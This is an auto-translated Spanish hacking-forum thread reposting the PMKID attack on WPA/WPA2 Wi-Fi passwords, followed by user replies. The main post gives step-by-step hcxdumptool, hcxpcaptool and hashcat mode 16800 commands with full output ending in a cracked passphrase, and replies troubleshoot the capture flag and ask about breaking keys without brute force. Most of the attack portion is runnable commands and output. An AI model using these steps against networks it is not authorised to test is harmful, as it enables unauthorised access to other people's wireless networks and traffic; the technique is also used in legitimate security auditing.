Saltar al contenido
Underc0de /foro

New attack on WPA/WPA with PMKID

🌐 This is an automatic translation of a topic from Underc0de, the largest Spanish-speaking hacking and IT community. Read the original (Spanish) and reply →
puntoCL ·
In this write-up, I will describe a new technique for cracking WPA PSK "Pre-Shared Key" passwords.<br /><br />To make use of this new attack you need the following tools:<br /><br /><br /><br />This attack was discovered accidentally while looking for new ways to attack the new WPA3 security standard. WPA3 will be much harder to attack due to its modern key establishment protocol called "Simultaneous Authentication of Equals" (SAE).<br /><br />The main difference from existing attacks is that in this attack, capturing a full 4-way EAPOL handshake is not required. The new attack is performed on the RSN IE (Robust Security Network Information Element) of a single EAPOL frame.<br /><br />At this time, we don't know for which vendors or how many routers this technique will work, but we believe it will work against all 802.11i/p/q/r networks with roaming functions enabled (most modern routers).<br /><br />The main advantages of this attack are as follows:<br /><br />
    <br />
    • No more regular users required, because the attacker communicates directly with the AP (also known as a "clientless" attack)
    <br />
    • No more waiting for a full 4-way handshake between the regular user and the AP
    <br />
    • No more eventual retransmissions of EAPOL frames (which can lead to uncrackable results)
    <br />
    • No more eventual invalid passwords sent by the regular user
    <br />
    • No more lost EAPOL frames when the regular user or the AP is too far from the attacker
    <br />
    • No fixing and replaycounter required (which results in slightly higher speeds)
    <br />
    • No more special output format (pcap, hccapx, etc.) - the final data will appear as a regular hex-encoded string
    <br />
<br /><br />
<br /><br />Attack details:<br /><br />The RSN IE is an optional field that can be found in 802.11 Management Frames. One of the capabilities of RSN is the PMKID.<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />The PMKID is computed using HMAC-SHA1 where the key is the PMK and the data part is the concatenation of a fixed string label "PMK Name", the MAC address of the access point and the MAC address of the station.<br /><br />
Código: text
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
<br /><br />Since the PMK is the same as in a regular 4-way EAPOL handshake, this is an ideal attack vector.<br /><br />We receive all the data we need in the first EAPOL frame from the AP.<br /><br />
<br /><br />Let's get to work:<br /><br />1. Run hcxdumptool to request the PMKID from the AP and to dump the received frame to a file (in pcapng format).<br /><br />
Código: text
./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status<br />
<br /><br />Output<br /><br />
Código: text
start capturing (stop with ctrl+c)<br />INTERFACE:...............: wlp39s0f3u4u5<br />FILTERLIST...............: 0 entries<br />MAC CLIENT...............: 89acf0e761f4 (client)<br />MAC ACCESS POINT.........: 4604ba734d4e (start NIC)<br />EAPOL TIMEOUT............: 20000<br />DEAUTHENTICATIONINTERVALL: 10 beacons<br />GIVE UP DEAUTHENTICATIONS: 20 tries<br />REPLAYCOUNTER............: 62083<br />ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69
<br /><br />If an AP receives our association request packet and supports sending the PMKID, we will see a "FOUND PMKID" message after a moment:<br /><br />
Código: text
[13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4]<br />[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]<br />[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]
<br /><br />Note: Depending on the noise on the wifi channel, it may take a while to receive the PMKID. We recommend running hcxdumptool up to 10 minutes before aborting.<br /><br /><br />2. Run hcxpcaptool to convert the captured data from pcapng format to a hash format accepted by hashcat.<br /><br />
Código: text
./hcxpcaptool -z test.16800 test.pcapng
<br /><br />Output<br /><br />
Código: text
start reading from test.pcapng<br /><br />summary:<br />--------<br />file name....................: test.pcapng<br />file type....................: pcapng 1.0<br />file hardware information....: x86_64<br />file os information..........: Linux 4.17.11-arch1<br />file application information.: hcxdumptool 4.2.0<br />network type.................: DLT_IEEE802_11_RADIO (127)<br />endianess....................: little endian<br />read errors..................: flawless<br />packets inside...............: 66<br />skipped packets..............: 0<br />packets with FCS.............: 0<br />beacons (with ESSID inside)..: 17<br />probe requests...............: 1<br />probe responses..............: 11<br />association requests.........: 5<br />association responses........: 5<br />authentications (OPEN SYSTEM): 13<br />authentications (BROADCOM)...: 1<br />EAPOL packets................: 14<br />EAPOL PMKIDs.................: 1<br /><br />1 PMKID(s) written to test.16800
<br /><br />The content of the written file will look like this:<br /><br />
Código: text
2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a<br />
<br /><br />The columns are as follows (all hex-encoded):<br /><br />
    <br />
    • PMKID
    <br />
    • MAC AP
    <br />
    • MAC Station
    <br />
    • ESSID
    <br />
<br /><br />Note: Although not mandatory, it is recommended to use the -E -I and -U options with hcxpcaptool. We can use these files to feed hashcat. They usually produce good results.<br /><br />
    <br />
    • -E retrieves possible passwords from the WiFi traffic (additionally, this list will include ESSID)<br />
    <br />
    • -I retrieves identities from the WiFi traffic<br />
    <br />
    • -U retrieves usernames from the WiFi traffic<br />
    <br />
<br /><br />
Código: text
./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng
<br /><br />3. Run hashcat to crack it.<br /><br />Basically we can attack this hash like any other hash type. The hash mode we must use is 16800.<br /><br />
Código: text
/hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'
<br /><br />Output<br /><br />
Código: text
hashcat (v4.2.0) starting...<br /><br />OpenCL Platform #1: NVIDIA Corporation<br />======================================<br />* Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU<br />* Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU<br />* Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU<br />* Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU<br /><br />Hashes: 1 digests; 1 unique digests, 1 unique salts<br />Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates<br /><br />Applicable optimizers:<br />* Zero-Byte<br />* Single-Hash<br />* Single-Salt<br />* Brute-Force<br />* Slow-Hash-SIMD-LOOP<br /><br />Minimum password length supported by kernel: 8<br />Maximum password length supported by kernel: 63<br /><br />Watchdog: Temperature abort trigger set to 90c<br /><br />2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a:hashcat!<br /><br />Session..........: hashcat<br />Status...........: Cracked<br />Hash.Type........: WPA-PMKID-PBKDF2<br />Hash.Target......: 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf...a39f3a<br />Time.Started.....: Thu Jul 26 12:51:38 2018 (41 secs)<br />Time.Estimated...: Thu Jul 26 12:52:19 2018 (0 secs)<br />Guess.Mask.......: ?l?l?l?l?l?lt! [8]<br />Guess.Queue......: 1/1 (100.00%)<br />Speed.Dev.#1.....:   408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1<br />Speed.Dev.#2.....:   408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1<br />Speed.Dev.#3.....:   412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1<br />Speed.Dev.#4.....:   410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1<br />Speed.Dev.#*.....:  1641.3 kH/s<br />Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts<br />Progress.........: 66846720/308915776 (21.64%)<br />Rejected.........: 0/66846720 (0.00%)<br />Restore.Point....: 0/11881376 (0.00%)<br />Candidates.#1....: hariert! -> hhzkzet!<br />Candidates.#2....: hdtivst! -> hzxkbnt!<br />Candidates.#3....: gnxpwet! -> gwqivst!<br />Candidates.#4....: gxhcddt! -> grjmrut!<br />HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1<br />HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1<br />HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1<br />HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1<br /><br />Started: Thu Jul 26 12:51:30 2018<br />Stopped: Thu Jul 26 12:52:21 2018
<br /><br />There is also support for hash-mode 16801, which allows skipping the PMK computation, which is the computation that makes cracking WPA so slow. Precomputing the PMK can be useful in cases where you are on-site and cannot transfer a hash to a remote cracking platform due to an NDA. The goal is to run hashcat on your laptop which you can take to the site.<br /><br />Mode 16801 expects a list of precomputed PMKs, as hex-encoded strings of length 64, as the input wordlist. To precompute the PMKs, you can use the hcxkeys tool. The hcxkeys tools require the ESSID, so you must request the ESSID from your client in advance.<br /><br />
<br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />
Source: Los enlaces son solo para miembros. Registrate o iniciá sesión<br />
kackerweno ·
how long would this attack take on an ordinary laptop with a dedicated 128-bit card and only 1GB
ANTRAX ·
Awesome bro! This weekend I'm going to try it!<br />Thanks a lot!!<br /><br />ANTRAX
dellarts ·
Thanks for the contribution @puntoCL! <br /><br />I didn't know this method, I've been looking at it but correct me if I'm wrong: in essence the steps to follow to get the key are the same as those done with the handshake, with the only difference that in this case it doesn't require a user to be connected. But the brute-force part, which is what I'm trying to avoid these days while I'm looking for methods to break them, has to be done anyway.<br /><br />Do you know any method to get the key that doesn't require brute force and isn't WPS nor using Fluxion which creates a fake AP?<br /><br />Thanks,
lecan ·
Hi, very good,<br />I'm trying it but when running hcxdumptool with the --enable_status option it responds invalid argument specified<br /><br />I don't know what I'm doing wrong
lupa78 ·
hi put --enable_status =3 and done, regards
DJMS94 ·
Cita de: dellarts en Septiembre 11, 2018, 06:58:51 PM<br />Thanks for the contribution @puntoCL! <br /><br />I didn't know this method, I've been looking at it but correct me if I'm wrong: in essence the steps to follow to get the key are the same as those done with the handshake, with the only difference that in this case it doesn't require a user to be connected. But the brute-force part, which is what I'm trying to avoid these days while I'm looking for methods to break them, has to be done anyway.<br /><br />Do you know any method to get the key that doesn't require brute force and isn't WPS nor using Fluxion which creates a fake AP?<br /><br />Thanks,<br />
<br /><br />Yeah, knock on your neighbor's door and ask for their password  8) For now NO!
AXCESS ·
Actually, this attack doesn't offer any notable novelties, since in the end it comes down to a Hashcat attack, which will be effective or not, depending on how robust the WPA2 key is.<br /><br />I echo what others with more authority and experience observe about the case.<br /><br />It's true that it's a novel way of obtaining that Hashcat (without a handshake), and that computing power is increasing, but... it remains conditioned by the already known cracking rules.<br /><br />It's a GPU Cracking... nothing new.<br /><br />"2. Run hcxpcaptool to convert the captured data from pcapng format to a hash format accepted by hashcat.<br /><br />3. Run hashcat to crack it.<br /><br />Basically we can attack this hash like any other hash type."<br /><br />In other words: WPA2 remains robust and standing.<br />
Gonzx ·
Cita de: lecan en Septiembre 15, 2018, 02:14:58 PM<br />Hi, very good,<br />I'm trying it but when running hcxdumptool with the --enable_status option it responds invalid argument specified<br /><br />I don't know what I'm doing wrong<br />
<br />put --enable_status=1 and done
mikelon ·
:o amazing thanks
Grupo de WhatsApp